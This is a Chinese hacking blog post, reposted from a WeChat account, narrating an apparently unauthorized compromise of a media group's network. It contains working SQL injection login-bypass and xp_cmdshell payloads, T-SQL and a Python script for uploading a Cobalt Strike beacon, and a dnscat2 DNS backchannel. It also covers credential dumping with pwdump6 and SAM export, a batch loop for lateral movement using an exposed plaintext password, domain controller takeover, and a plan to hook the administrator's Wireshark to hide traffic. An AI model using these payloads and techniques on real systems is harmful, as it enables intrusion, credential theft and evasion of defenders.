文章转自公众号:HACK学习呀
闲来无事,日个站玩玩。
要日,就日一波大的。日个小站就结束了也不太好意思(水文章),于是乎就在各种搜索引擎上搜了起来。
于是一家叫做 xx 报系的邮件系统吸引起了我的注意力,看样子很好日(?),话不多说,开整!
直接对 https://mail.xxxgroup.com/
,直接对根域名进行一个子域名的探测,上 fofa 或者 hunter 这类东西搜一下,结果并不多,只有 44 条
但是里面的系统很有意思,
有很多这种没有验证码直接登录的站点。随手试了试 admin/123456 这类超级超级弱口令,没有结果,后台挂着 xray,注入什么也挂着,都没有什么结果。dirsearch 扫了目录,也没有什么结果(指不能 getshell),端口也扫了,都没啥结果,常规的手段都试过了。供应链看样子也没什么可以打的,估计都是自己开发的
同时还有 gitlab,但是并没有什么洞
从 hunter 上的这个域名来看,确实搜不到什么信息。虽然此时可以开始进行一个弱口令爆破,但是不急,一般我回选择把这种有针对性的爆破放到最后做,因为这个步骤流量太大了,十分显眼,并且我们现在也没有合适的用户名字典。
继续把目光看向刚刚的搜索结果,这些结果中,我们可以发现,大多数的站点都处于
124.9.11.x
124.9.2.x
当中,我们非常有理由他们可能持有这几个 C 段,这几个 C 段上肯定有他们的其他资产信息,上 goby 直接在外网进行一个扫
C 段内发现了一堆 zyxel 设备和一个 outllook 的 owa,试了试 Nday,并没有什么结果
但是额外发现了一个看上去有用的论坛系统 vBulletin 3.7.1
并没有什么 Nday,但是可以进行一个注册,注册后可以浏览系统已注册的用户名,然而看不到邮箱。
但是至少给我们的用户名字典(如果有需要的话),增加了一些信息,然而可惜的是注册还没五分钟我的账号就被删除并且被 T 了出来。没截到图,为了不打草惊蛇所以先 pass。
换个思路,直接用 hunter,对他们企业名字进行搜索
资产多了起来,但是也多了很多不想干的内容,此时,我发现了一个东西 https://insightx.xxxmembers.cloud/
。
他们使用 sso 的登录,用的是之前 xxxgroup.com 的 sso,并且根据域名,感觉像是内部使用的一个域名,并不像是对外商用的,立刻进行一波子域名搜索。上 oneforall,和 hunter 辅助查询,只查到了另外一个域名 https://datahub.xxxmembers.cloud/
。
果然,不知提供了 API,甚至提供了 SQL 语句,我严重怀疑这里是不是有注入,正当我兴高采烈的访问的时候。
。。。。。没事了,但是我还是不甘心,对着目录搜索了一通,
看到了个 login.jsp,直接对着源码进行一个的看,看到了一堆未授权的页面,但是都是测试页面,继续 pass
此时已经开始有点心灰意冷了,打开了 github,打算开始,啊传统艺能弱口令和数据泄露,甚至看到了这东西
这不是想睡觉了正好有人给我送枕头吗?整直接准备拿着这份表进行爆破的时候,我发现了它
一个完全孤立于其他站点的,甚至除了图片素材没有其他信息有关我们目标的站。
当时我已经心灰意冷了,挂着 xray,于是乎随手试了试 admin/admin,test/test 之类的,然后就去上了个厕所吃了个饭打了把游戏摸了会鱼跑回来(?????),没啥信息,但是我良好的习惯让我随手输了 admin',报错了
我:??????,再次检查了下 xray report。没有啥信息,其实我挂 xray 主要就是用来被动检测 sql 的,不然我也不会挂这东西,流量太大了,但是 xray 的被动扫描 sql 注入确实好用
然而这么明显的报错注入没扫描出来?就十分的神奇,直接套上 sqlmap,结果都是 timeout,换了代理 UA 啥的都不行,怪不得 xray 扫不出来。
于是乎愉快的上了 burp 中转,终于跑起来了
但是他只抛出了 timebased 注入,甚至使用 os-shell 还没有回显。
一开始我以为不能堆叠注入,使用 a';select 1 where 1='a'--
,是不报错的。甚至直接绕过了登陆验证
但是如果你再堆叠的第二行语句输入错误的语法,它还是会检查语法正确性的 a';select asdasdasd--
这时候直接进行一个基本信息的看,select @@version
我看了看这个 Windows NT 5.0 (Build 2195: Service Pack 4)
,人麻了,这不是 windows 2000 吗??
再看了看这个 WEB 的 IIS 8.5,怎么也不相信一个 windows 2000 的机器能跑的动 IIS 8.5,得了,站库分离
想着先注入密码进后台看看先,直接使用万能密码绕过,会出现没权限的问题。
我以为是用户名的问题,可能后续的语句验证了用户名?反正它给了完整 SQL 语句 select ID from ACCOUNT with (NOLOCK) wheree xxxxx
,直接用这个对它的语句进行一个用户名的搜索 a' and 1=(select top 1 ID from ACCOUNT)--
??? 怎么还有人用 当用户名的。继续万能密码,依旧无权限。我想这可能是这个用户没权限,毕竟哪有人拿
当用户名的,使用 a' and 1=(select top 1 ID from ACCOUNT where ID NOT IN (select top 1 ID from ACCOUNT))--
,
接下来查出了个中文用户名,绕过失败,我不信邪,密码,注!
人麻了这是什么 hash?好在这个 sql 注入把我们的密码也编码进去了,我随便输入个密码 123456,它语句里我的密码是
十分的规律,一眼顶针,鉴定为 ASCII 凯撒。看了一下,6 位为一个字,前面 6 为 000079 是固定不用管,直接和原本的 ascii 进行相减,知道了密码是 ascii+42,好的,前面 000xxx 知道是什么了,后面的-xxx-xxx 又是什么呢?
看到了中文名,啊,想了下也许是 UNICODE,试了试,好的成了,没事了。验证通过
就是依旧没有权限进入系统!!!!!!
我那个气,开始直接注数据库
首先看了下,确定数据库确实有 DBA,使用了 os-shell,whoami 这些都没有结果,但是,ping,dnslog 有回显
确确实实的有回显!!!!!!
这时候,啊,就是考虑传马上去了,首先先探测网络环境,因为 sqlmap 查出来的是 timebased,所以想着可不可以用远程下载
思考 windows 2000 有没有什么东西能远程下载,为此特地装了个 windows 2000 的虚拟机
certutil 肯定是没有的,但是有 ftp 和 hh.exe。直接运行了 hh.exe 上去,发现我服务器并没有 web 请求,冷汗流了下来。
由于堆叠注入实在是没有回显,我真的很怀疑这个 dnslog 的回显到底是不是真的。我心里此时想到了一个很可怕的 BT 防御手法
世界上怎么会有这么坏的人,气抖冷。
然后使用 sqlmap 自带的上传,,上传的速度过于捉急。经过 powershell 写过一轮,vbs 写过一轮,debug 写过一轮。。。。
太慢了,最后还是选择抛弃了 sqlmap。进行手注入
首先先试着看看能不能读到回显。
使用语句 a';drop table ccc99;create table ccc99 (dir nvarchar(4000));insert into ccc99(dir) exec master..xp_cmdshell 'whoami';--
然后用报错注入 a' and 1=convert(int,(select top 1 * from ccc99))--
,发现并没有回显,心灰意冷百思不得其解,于是乎我在本地试了一下 whoami,发现 windows 2000 并没有 whoami 命令,啊这,得了,没事了。
继续,随手执行了个 dir
ohhhhhhhh,这玩意是真的可以执行命令,啊,二话不说,打算上传一个马上去。
使用命令
DECLARE @DATA VARBINARY(4000);
DECLARE @filepath VARCHAR(4000);
set @DATA = 0xxxxxxxx
set @filepath='C:\info.dll';
DECLARE @ObjectToken INT;
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT;
EXEC sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_OAMethod @ObjectToken, 'Open';
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA;
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2;
EXEC sp_OAMethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;
SELECT @filepath--
直接试图写 exe 上去,此时遇到了一个坑,还得我整了好久。当用这个脚本成功写了个 txt,并用
a';drop table resultasd;create table resultasd(res varchar(8000));bulk insert resultasd from 'c:/winnt/temp/zzz.txt';--
再用报错注入成功读取到 txt 的内容之后,我确信了这个 sql 上传 没有问题!!!! ,
不过与此同时,我确实确定了一个信息,那就是这玩意好像是不出网的,用了 ftp -s:xxx.txt 测试了一下,并没有收到 tcp 端口请求
但是我贼心不死,想着没准能 udp 出网呢?甚至写了一个探针
用于探测 tcp/udp 是否出网。
然后就是转换成 hex,愉快的上传,上传之前本地测试了一下,vs2022 编译,是没法在 win2k 运行的,nmd 怎么回事?
但是 GCC 编译的却可以,草,海星,没事了。gcc 编译就 gcc 编译吧
一运行,没反应。我:?,上传成 dll,用 rundll32 运行,没反应,我:??
本地 win2k 环境 rundll32 环境测试过的,是可以调用 dll 的
我开始怀疑是不是有奇怪的杀软,或者牛逼的 HIPS/HIDS 拦截进程的启动了。
此时我开始测试各种奇怪的方法,比如写出写出写出 vbs 执行程序,vbs 写 txt,,写出 bat 执行程序
结果当然是,没有找到 vbs 写出的 txt,vbs 压根没执行成功,bat 里面放了个 ping,执行以下,dnslog 被触发了,说明 bat 执行力成功,但是没有成功起了我们的程序。
但是我用 cmd 执行一些系统其他的 exe 是可以的,最典型的就是之前的 ping.exe 是可以执行成功的
心里想着啥 HIPS。你妈的这么牛逼?win2k 还拦截的这么六?想要查查进程。
tasklist 一运行,没有这个指令,啊,没事了。
那么没有 vbs,没有 tasklist,该如何查看进程呢?经过 wbg 的一番提点,啊,才记起来,sqlserver 是可以调用 com 的。
最典型的就是
declare @shell int ;
exec sp_oacreate 'wscript.shell',@shell output ;
exec sp_oamethod @shell,'run',null,'cmd /c xxxx';--
为此,我甚至改造了个直接调用 wmi 的
declare @objWmi int,@objLocator int,@objPermiss int,@objRet int,@objFull varchar(8000)
EXEC sp_OACreate 'WbemScripting.SWbemLocator.1',@objLocator OUTPUT;
EXEC sp_OAMethod @objLocator,'ConnectServer',@objWmi OUTPUT,'.','root\cimv2';
EXEC sp_OAMethod @objWmi,'Get',@objPermiss OUTPUT,'Win32_LogicalFileSecuritySetting.Path=''wscript.exe''';
EXEC sp_OAMethod @objWmi,'Get',@objFull OUTPUT, 'Win32_SecurityDescriptor';
EXEC sp_OASetProperty @objFull,'ControlFlags',4;
EXEC sp_OAMethod @objPermiss,'SetSecurityDescriptor',@objRet output,@objFull;
这玩意甚至能连接远程服务器,当然我 sqlserver 和 com 的语法不熟,纯 sql 列出进程始终没捣鼓出来,最后还是使用了 ScriptControl, 调用了 Jscript,再通过 Jscript 调用 wmi 列出进程写道 txt
DECLARE @js1 int;
EXEC sp_OACreate 'ScriptControl',@js1 OUT;EXEC sp_OASetProperty @js1, 'Language', 'JavaScript1.1';
EXEC sp_OAMethod @js1, 'Eval', NULL, '
fso = new ActiveXObject("Scripting.FilesystemObject");
wsh = new ActiveXObject("WScript.Shell");
var locator=new ActiveXObject("WbemScripting.SWbemLocator");
var service=locator.ConnectServer(".","root/cimv2");
var colItems=service.ExecQuery("select * from Win32_Process");
var e=new Enumerator(colItems);
var t1=new Date().valueOf();
var fso = new ActiveXObject("Scripting.FileSystemObject");
var fh = fso.CreateTextFile("c:\\proc3.txt", true);
for(;!e.atEnd();e.moveNext()){
var p=e.item();
fh.WriteLine(p.Caption+" "+p.Handle);
if(p.Caption=="CMD.EXE"){p.terminate();}
if(p.Caption=="wscript.exe"){p.terminate();}
if(p.Caption=="asdfg.exe"){p.terminate();}
};
fh.Close();'; --
最后成功的读出了进程列表
System
System Idle Process
SMSS.EXE
CSRSS.EXE
WINLOGON.EXE
SERVICES.EXE
LSASS.EXE
termsrv.exe
svchost.exe
Smc.exe
ccSvcHst.exe
spoolsv.exe
cissesrv.exe
CpqRcmc.exe
vcagent.exe
LLSSRV.EXE
sqlservr.exe
mstask.exe
SNMP.EXE
Rtvscan.exe
sysdown.exe
smhstart.exe
hpsmhd.exe
vmtoolsd.exe
vmware-converte
rotatelogs.exe
WinMgmt.exe
好家伙,赛门铁克,但是问题是,根据我的了解,赛门铁克这玩意十分的弟弟,不应该有这个效果啊,
甚至从 PY 了个 windows 2000 的安装包,装上去试了下,确实也没有这个效果。
一筹莫展之际,此时的我都已经正在使用 vc++6.0 打算写一个 com 组件上传个 dll 然后让 sqlserver 调用我这个自制的 com 来绕过这个神秘的 “HIDS” 了。
然后在本地测试的时候,我发现了个问题,我本地写出 30kb 的文件,最后落地只有 3kb 多。然后认真检查脚本
啊这,我上传脚本的变量大小没改。。。。。。。。草李莱莱,好歹你给我报个错误啊草草草啊啊啊啊啊啊啊
我试图直接改成 10000000,但是 tmd,sqlserver 2000 的最大只支持 8000。俺寻思这不是好说,俺多定义几个变量,多 write 几下,然后就发现了
nmd 怎么还有最大限制 64kb,不过之前用 gcc 编译的探针倒是成功上传上去并运行了,(gcc 编译的只有 29kb)。udp 不出网。icmp 也不出,只有 dns 出。
于是乎穿一个 cs 的 beacon 上去,无阶段的,全场 264kb,分了好几个文件,为此还特地写了个脚本
import sys
import binascii
from urllib.parse import quote
path = sys.argv[1]
f = open(path, "rb");
binary = f.read()
f.close();
length = len(binary)
count = int(length / 8000) + 1
strs = ""
i=0
while (True):
if i == 0:
print("chunk 0-8000")
strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[0:8000]).decode() + ";"
elif i * 8000 < length and (i+1) * 8000 < length :
print("chunk "+str(8000*i)+"-"+str(8000*(i+1)))
strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[8000 * i:8000 * (i + 1)]).decode() + ";"
if i * 8000 > length:
print("chunk " + str(8000 * (i-1)) + "-" + str(length))
strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[8000 * (i-1):]).decode() + ";"
break
i += 1
defines = "DECLARE @filepath VARCHAR(4000);"
for i2 in range(0,i+1):
defines = defines + "DECLARE @DATA"+str(i2)+" VARBINARY(8000);"
zhongjian ="set @filepath='C:\\f"+path+"';DECLARE @ObjectToken INT;EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT;EXEC sp_OASetProperty @ObjectToken, 'Type', 1;EXEC sp_OAMethod @ObjectToken, 'Open';"
writes = ""
for i3 in range(0,i+1):
writes = writes + "EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA"+str(i3)+";"
ends="""EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2;EXEC sp_OAMethod @ObjectToken, 'Close';EXEC sp_OADestroy @ObjectToken;SELECT @filepath--"""
f2 = open(path+".txt","w")
f2.write(defines+strs+zhongjian+writes+ends)
之后使用 copy /b
把写入的分块整合成一个文件,运行。
上线了,但是又等于没上。
本机测试,windows 2k 的 cs,在 checkin 之后,就直接 boom 掉了
我以为是 cs 的问题,测试了几个版本
从 3.14,3.8.4.4,其中,要不是上线就 boom,要不是就是或者,但是不交互,总之各种运行不起来,
最后无奈,全网寻找一个能用的 windwos 的 dns 反弹马,找了半天,啊,没找到。
最后发现了 DNSCAT2 这个项目,它提供了 sln,于是乎,下载了 vs2008,经过一通修改,最终成功在 windows 2000 下运行成功
然后,上传,最后,终于可算是上线了
net time 看了下,有域,甚至还是个 B 段
查了下,域内一千六百多台机器,不过现在首要的目标,当然还是先找个能出网的,
只要有出网的机器,怎么日我都大体想好了,啊,直接进行一个 socks 的搭
然后进行一个 nopac/zerologon 的打
最后再进行一个域的控
或者
直接进行一个 ms17010 啊不对,ms17010 都太过了,直接 08067 都可以,把内网什么勾八 windows 2k xp ,2003 都给 tmd 打了
然后进行一个域管密码的抓
最后再 nmd 进行一个域控的登。
美滋滋是不是?然而幻想是很美好的,我们还是得先打 tmd 一个出网的机器
这个破 DNS 实在是太太太太太太慢了,如何漫游呢?
答案当然先是使用 vbs,wmiexec,不过咱们得先把本机凭据抓了。
windows 2000 下抓凭据,用什么 mimiaktz 是不好使的,也太大了,什么 porcdump 也不行,但是有一个远古工具,pwdump6,可以在 windows2000 下运行。
用这破比东西传这 500k 的东西花了一个多小时。
成功 dump 出 hash
然后上传 wmiexec.vbs,执行
发现了一个问题
怪不得 nmd 什么 vbs 都执行不了,原来是这个关了,想执行 reg add 修改组策略。但是 win2k 甚至连 reg.exe 都没有
怎么解决也很简单,本地改完导出一个 x.reg 文件,上传上去用 regedit /s 导入 reg 文件就解决了。
原本是想直接跑的,但是,我看了下,我们的主机名叫做 WFDBP3,然后查了下,
俺寻思,他们肯定也是 sql server 服务器,甚至密码会不会都是一样的?
通过注入查询到本机 sql 密码很简单,重点是问题是如何连接。
正当我想上 github 找 cli 工具的时候,我想,不对,这堂堂 sqlserver,目录下应该肯定有 cli 工具吧
于是乎去目录翻了一眼:此时一个叫做 osql.exe 的程序吸引了我注意
但是 /h 没有任何帮助,然而 msdn 上有相关用法
osql
[-?] |
[-L] |
[
{
{-Ulogin_id [-Ppassword]} | -E }
[-Sserver_name[\instance_name]] [-Hwksta_name] [-ddb_name]
[-ltime_out] [-ttime_out] [-hheaders]
[-scol_separator] [-wcolumn_width] [-apacket_size]
[-e] [-I] [-D data_source_name]
[-ccmd_end] [-q "query"] [-Q"query"]
[-n] [-merror_level] [-r {0 | 1}]
[-iinput_file] [-ooutput_file] [-p]
[-b] [-u] [-R] [-O]
]
果不其然!!!!,直接用这个 osql 对着我们身边同样看似 sqlserver 的主机连接
最后成功漫游到了 WFDBP4 上,是一台 windows xp,然而实际上并不出网。
试图上 cs,但是结果 nmd 依旧是上线后半天不鸟我,气死了啊啊啊啊啊啊啊
抓个密码,如何抓?
上传 mimiaktz,太大了,被杀。系统自带的 dump 工具 dump 一个 lsass,几十 MB 更大,更不可行,最后只有用注册表导出 sam 然后脱回来,体积最小感觉最 OK
拖出来的两个文件,也就 5MB,但是 tmd 下载回来下了四小时。难蚌
其中 administrator 两台密码都是一样的,理论上其他密码也是一样,但是 wmiexec 就是用不了,不知道为什么,非常的奇妙,倒是用了其他的用户使用 wmiexec,使用了正确的账号密码才可以
而且还有一个坑,wmiexec,用 IP 连接的话是没有回显的,必须得用主机名连接。
不过一个一个爆破的速度实在是太慢了,写个 bat,使用这些抓到的凭据对当前 C 段进行探测
@echo off
@for /L %%n in (20, 1, 33) do (
cscript w2.vbs /cmd 10.19.21.%%n administrator wf2k22yr-jun16 whoami >> a.txt 2>&1
cscript w2.vbs /cmd 10.19.21.%%n sopadmin admin whoami >> a.txt 2>&1
cscript w2.vbs /cmd 10.19.21.%%n vista vista whoami >> a.txt 2>&1
)
成功又探测到一台服务器,而且这台主机名是 APP,也就是说上面部署着服务,可能是 web
确实有 web,再用 vbs 脚本,请求下网页看看有没有暴露在外网
Set Post = CreateObject("Microsoft.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.baidu.com/",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\http.txt",2
看了下,并没有,寄
第二天,使用了 minilove 抓了 2000 密码,直接登录域控
甚至还有域林,我们的权限甚至能访问全网。。。
不过看了下进程,管理员 tmd 开着 wireshark 盯着流量出口,算了算了,溜了,拿下域控就没啥意思了,走了。
后续想要日的话,基本流程就是整一个 wirekshark 的 HOOK,把域控上面的那个 wireshark 给 HOOK 了,把我们的流量给隐藏掉,不然做任何操作都是会被管理员发现的。
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。